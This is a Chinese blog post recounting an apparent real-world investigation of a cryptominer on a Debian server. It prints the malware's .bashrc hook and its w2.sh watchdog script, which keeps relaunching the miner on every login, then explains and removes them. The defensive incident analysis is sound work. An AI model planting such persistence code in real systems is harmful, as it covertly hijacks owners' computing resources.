最近帮朋友排查一台 Debian 12 服务器,过程堪称“步步惊心”,从最初以为是磁盘空间不足,到最后揪出 XMRig 挖矿木马,整个排查思路非常值得记录下来,希望能给大家提供一些参考。

第一阶段:以为是假警报

事情的起因很常见:客户反馈服务器硬盘满了。

起初,我们检查了系统日志,发现客户似乎曾通过宝塔面板误删了 /proc 目录下的部分文件。这在 Linux 系统中是个相当危险的操作,虽然 /proc 是虚拟文件系统,直接删除通常不会立即炸盘,但配合宝塔的回收站机制(/.Recycle_bin),导致回收站里的引用文件大小异常膨胀,直接撑爆了剩余空间。

我们清理了回收站,释放了空间,心想这应该就是个“低级误操作”导致的事故。甚至客户自己还嘀咕了一句:“我这不会是中病毒了吧?”当时我们觉得不太像,毕竟症状太像误删文件了。

第二阶段:CPU 异常飙升

第二天,反馈来了:CPU 飙升至 100%。

查看系统日志,问题爆发的时间点非常清晰——前一天晚上 22:49 分开始。当时没多想,最简单粗暴的办法——重启。重启后,负载果然降下来了,服务器恢复平静。

为了保险起见,我们创建了一份快照,并将快照克隆成了一台新机器进行隔离运行。克隆机看起来很正常,我们就稍微松了口气。

第三阶段:木马显形

到了第三天,剧情反转了。原服务器的 CPU 再次“双叒叕”地满载了,而那台克隆机却运行良好。这给了我们一个极其重要的线索:问题出在原机的某个启动项或持久化机制上,而不是系统底层的死锁。

我们直接在克隆机上操作终端,准备排查进程。刚一打开终端,神奇的一幕发生了——终端里开始疯狂滚动日志,与此同时,CPU 占用瞬间起步。

执行 top 命令一查,罪魁祸首浮出水面:

PID %CPU %MEM CMD
22006 397 0.0 ./softwaretech

一个名为 softwaretech 的进程,CPU 占用率飙到了 397%(多核利用),这显然不是正常的业务软件,典型的挖矿程序特征(XMRig 正是常用的 CPU 挖矿工具)。

深度分析:.bashrc 劫持

既然一打开终端就触发,那嫌疑最大的就是 Shell 的配置文件。果然,在用户目录下的 .bashrc 文件末尾,发现了一行极不起眼的代码:

~/w2.sh

这行代码的意思是,每次用户登录终端(打开 SSH 或新开一个终端窗口)时,都会自动执行家目录下的 w2.sh 脚本。

恶意脚本逻辑拆解

我们查看了 w2.sh 的内容,这段脚本写得还颇有“技术含量”,包含了基本的进程守护逻辑:

#!/bin/bash
PROC_NAME="softwaretech"

![top 命令显示 softwaretech 进程占用 CPU 397%](/media-load/019f4506-714e-7c2b-bab0-6119198539c8)

*通过 top 命令发现名为 softwaretech 的恶意进程,CPU 占用率飙升至 397%*

# 获取当前所有进程状态和名称
all_procs=$(ps -e -o stat=,comm=)

# 检查名为 softwaretech 的进程是否存在
matches=$(echo "$all_procs" | awk -v name="$PROC_NAME" '$2 == name')

if [ -z "$matches" ]; then
    # 如果找不到进程,就启动它
    cd ~
    ./softwaretech
else
    # 如果找到了,检查是否是僵尸进程
    alive=$(echo "$matches" | awk '$1 !~ /^Z/')
    if [ -z "$alive" ]; then
        # 如果是僵尸进程,重新启动
        cd ~
        ./softwaretech
    else
        echo "process is running normally"
    fi
fi

它的套路是这样的:

  1. 触发机制: 利用 .bashrc,只要管理员登录,脚本就运行。
  2. 隐蔽性: 脚本会先检查挖矿程序是否已经在跑。
  3. 守护机制: 如果没有跑,或者进程卡死(僵尸进程),脚本会自动重新拉起 ./softwaretech
  4. 日志伪装: 当你打开第二个终端窗口时,脚本会在后台检测进程状态,并打印 process is running normally,显得很正常,极具欺骗性。

解决方案与建议

遇到这种情况,千万不要试图只删文件,因为如果你不切断触发源头,它还是会卷土重来。

1. 立即止损

直接 kill -9 掉异常进程,并删除 ~/softwaretech 恶意文件和 ~/w2.sh 脚本。

2. 清理后门(关键)

编辑 ~/.bashrc,删除末尾的那行 ~/w2.sh。同时也要检查全局配置文件 /etc/bash.bashrc/etc/profile,防止黑客留下了多个后门。

3. 检查定时任务

挖矿木马经常会配合 Crontab 进行持久化。务必检查 /var/spool/cron/crontabs/ 下的文件,以及 crontab -l 的输出。

4. 彻底清除与重装

正如我们在排查中发现的那样,克隆机因为是从快照来的,只要不触发那个用户的终端登录,木马就处于休眠状态。但对于已沦陷的原服务器,由于不知道黑客最初是通过什么漏洞进来的(可能是弱密码、宝塔面板漏洞或其他组件漏洞),最安全的做法是备份数据后重装系统,并修补所有已知漏洞。

这次经历也提醒我们:

  • 不要在生产环境随意删除系统目录。
  • 看到 CPU 满载、进程名可疑(如 XMRig、kdevtmpfsi 等)要立刻警惕。
  • 定期检查用户目录下的隐藏启动脚本。

搞清楚原理后,其实这并不难解决,但如果不深挖逻辑,很容易被反复折腾。希望这篇实录能帮大家少走弯路!

标签: none

AI Skills Smart Station on Nick Launches

评论已关闭